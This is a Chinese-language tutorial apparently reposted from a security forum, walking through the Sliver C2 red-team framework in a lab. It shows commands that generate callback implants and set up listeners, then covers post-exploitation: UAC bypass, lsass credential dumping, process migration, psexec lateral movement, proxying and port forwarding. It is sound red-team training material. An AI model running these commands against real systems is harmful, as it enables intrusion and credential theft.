Command and control(C2)框架允许攻击者充分利用对计算机系统或网络的现有访问,用于后渗透阶段(是在获取初始权限后的阶段)。
Sliver C2 是一个开源的跨平台红队框架。
常见的术语:
implant - 用于保持访问权限的软件,通过使用C2命令
beacon - 1 一种通信模式,定期连接C2服务器;2 CS beacon
Stage - 载入的方法,阶段式或非阶段式
提供了两种操作模式
Beacon mode:实现了一种异步通信方式,定期(1min)检查通信情况
Session mode:实现了实时会话方式
优势:
免杀能力极强
模块化,提供了多种扩展,如armory可以安装各种第三方工具(BOF、.NET 工具等)
多操组员模式
开源
支持多平台(Linux, Windows and MacOS)
主要由四部分构成:
服务器控制台 - 服务器控制台是主界面,通过 sliver-server 可执行文件启动,所有操作代码都在客户/服务器控制台之间共享;服务器控制台通过一个gRPC接口与服务器进行通信。
Sliver C2 服务器 - Sliver C2 服务器是 sliver-server 可执行文件的一部分,管理内部数据库,启动和停止网络监听器。与服务器交互的主要接口是gRPC接口,所有的功能都是通过它实现的。
客户端控制台 - 客户端控制台是用于与Sliver C2服务器互动的主要用户界面。
植入物 - 植入物是在目标系统上运行的恶意代码(exe、ps1等)。
各部分的关系及交互形式可由如下图展示出来:
这个在线表格总结除了市面上几乎所有的C2工具的能力对比,可以参考阅读下。
仓库地址 - Releases · BishopFox/sliver (github.com)
官方建议 Server 最好部署在 Linux 上(不建议WIndows)
直接找到对应版本下载Server和Client版本即可。
Sliver有两个外部依赖的可选功能:MinGW和Metasploit。
要启用DLL有效载荷(在Linux服务器上),你需要安装MinGW。
要启用一些MSF集成功能,你需要在服务器上安装Metasploit。
以http通信为例,在获取目标初始权限后,创建监听器,生成对应架构的Implant,上传执行
# 启动
./sliver-server_linux
# 创建监听器
http -l 9001
# 生成Implant/Payload
generate --http http://172.16.181.182:9001 --os windows
受害机上执行,成功回连,免杀确实很强
回连信息:
使用 use 进入交互
后续就是进一步的操作了,这里给出一张图,描述了后渗透的进攻思路及流程,熟悉Sliver的兄弟可以直接跳转到后渗透利用部分。
Sliver C2支持多种平台,可以用 --os 标志来改变编译器目标。Sliver C2也接受任何 Golang GOOS 和 GOARCH作为参数 --os 和 --arch
# 生成不同架构的Implant
generate --http http://172.16.181.182:9001
generate --mtls 172.16.181.182:443 --os windows --arch amd64
generate --mtls 172.16.181.182:443 --os linux --arch amd64
generate --mtls 172.16.181.182:443 --os mac --arch arm64
# 查看所有Implant信息
implants
# 重新生成指定Implant
regenerate --save . [Implant Name]
启动监听器用于接收获取目标主机回连的shell,支持如下协议:
mTLS
相互传输层安全(mTLS)是一个建立加密TLS连接的过程,其中双方都使用X.509数字证书来验证对方。
HTTP
HTTPS
DNS
Wireguard
# 启动指定协议的监听器,配置端口
mtls -l 443
当目标主机执行我们刚刚生成的 Implant 时,控制台中会显示一条信息,使用 use 命令连接进去,就可以进行基本的控制操作了。常见操作与我们使用 windows 和 linux 差不多,可以参考 HELP 中的提示。
use [sessions ID]
和 Sessions 不同的是,在生成载荷的时候需要添加 beacon 参数,如下:
generate beacon --http http://172.16.181.182:9002
http -l 9002
# 实时查看beacons的通信情况
beacons watch
Armory是Sliver Alias and Extension软件包管理器,它允许你自动安装各种第三方工具,如BOF和.NET工具。工具的清单可以在 Github 上找到。
安装第三方工具命令如下:
armory install rubeus
生成配置文件及开启多操作员模式
# 添加操作员,生成配置文件
new-operator --name x1gua --lhost 172.16.181.182
# 启动多操作员模式,及指定端口
multiplayer
multiplayer -l 8848
在另一台操作端上导入配置文件及连接 Sliver 服务端(这里以macos为例)
./sliver-client_macos import x1gua_172.16.181.182.cfg
./sliver-client_macos
获取到控制权后,一些常见的命令执行:
# 开启一个命令行窗口shell
shell
# 执行命令
execute -o ipconfig
# 启动一个新进程运行指定命令
runas -p "ipconfig.exe" -u "xigua" -P "123.com"
绕过 UAC 及获取 SYSTEM 权限
# 上传文件并执行,绕过uac提权 [这里似乎失败了]
upload /root/Desktop/uac.ps1 "C:\Users\Administrator\Desktop\uac.ps1"
execute -o powershell -ExecutionPolicy Bypass -File "C:\Users\Administrator\Desktop\uac.ps1"
getsystem
进程迁移
# 查看进程列表信息
ps
# 进程迁移
migrate 3108
# 切换进程
use 244e1361
导出 lsass.dump 信息,离线破解,需要 SYSTEM 权限。
# 导出lsass信息 [需要system权限]
procdump --pid 664 --save lsass.dump
kali> pypykatz lsa minidump lsass.dump
获取网络邻居缓存条目
# 原生命令
Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress
# Sliver中执行
execute -o powershell "Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress"
Powershell 中进行 ping 扫描探测存活
# 1
99..102 | foreach { '10.10.1.${_}: $(Test-Connection -TimeToLive 64 -Count 1 -ComputerName 10.10.1.${_} -Quiet)' }
# 2
99..102 | foreach {(New-Object System.Net.NetworkInformation.Ping).Send("10.10.1.${_}", 1000)}
其余的和内网渗透一致,这里就不展开了
这里以 psexec 横向移动为例,进行演示。
# 创建配置文件
profiles new --format service --skip-symbols --mtls 172.16.181.182 psexec_test
# 执行psexec攻击
psexec -profile pentest --service-name pentest -service-description pentest red.team
本地环境,有些配置没有开启
Sliver C2 中搭载了内置的 Socks5 命令,用于快速创建 Socks 代理
socks5 start -P 9001
这里是在客户端中执行的,有个疑问就是为什么可以在客户端上开启 socks 而不是在服务器,稍微复杂。
在浏览器中设置代理
在内网机器上开启简易http服务来测试
参考 - Port Forwarding(github.com)
端口转发为例:
创建监听器,生成Implant
# 开启WireGuard监听器
wg --lport 9100
# 生成对应的Implant
generate --wg 172.16.181.182:9100 --os windows --arch amd64 --format exe
执行上线,对端的地址就配置为了100.64段
添加端口转发,转发目标主机3389端口
wg-portfwd add -r 172.16.181.139:3389
导出 wireguard 配置文件,在其中的 Endpoint 字段设置为 Sliver 服务端的WireGuard监听器。
wg-config -s /usr/local/etc/wireguard/wireguard.confAddress = 100.64.0.8/16
ListenPort = 51902
PrivateKey = uG6A0qrE95iboIM33RdkzXrKX1a99M3PcCHHm+hAyGg=
MTU = 1420
[Peer]
PublicKey = 4FcKBOGCHP2jvnDHZyo8Ga/iulFf0SvRzjOP85/k+DM=
AllowedIPs = 100.64.0.0/16
Endpoint = 172.16.181.182:9100
安装 WireGuard 工具,建立通信
# MacOS
brew install wireguard-tools
# Linux
apt install wireguard-tools
启动 WireGuard 工具
wg-quick up wireguard
开启后就可以远程连接了
参考:wall/在mac上使用wireguard-tools (github.com)
修改服务端配置文件,修改为非常见常见端口
vi ~/.sliver/configs/server.json
如果生成了多操作员的配置文件,在其中修改端口选项
vi ~/.sliver-client/configs/x1gua_172.16.181.1.cfg
通过本文,相信读者已经可以自行部署 Sliver C2 及快速上手,多实验几次就会对其中常见的功能和命令了如指掌。
但是!
这只是 Sliver C2 研究的开始,之所以可以被称作为 Cobalt Strike 的替代品,必然有其过人的能力,在后续的文章中,将介绍它的扩展功能,包括但不限于使用BOFs and COFFs、各协议通信时数据包分析、植入物免杀能力的深入研究和实战中的利用等,总之,关于这款工具的使用技巧将会慢慢分享出来。
转载:https://forum.butian.net/share/2243
作者:xigua
欢迎大家关注作者
点击下方小卡片或扫描下方二维码观看更多技术文章
师傅们点赞、转发、在看就是最大的支持